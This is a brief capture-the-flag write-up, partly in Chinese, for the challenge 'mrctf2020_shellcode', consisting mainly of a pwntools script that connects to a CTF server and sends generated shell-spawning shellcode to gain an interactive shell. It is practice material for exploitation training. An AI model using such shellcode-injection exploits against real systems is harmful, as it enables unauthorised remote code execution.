mrctf2020_shellcode
查看保护
直接写shellcode就可以了。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25728)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendline(asm(shellcraft.sh()))
r.interactive()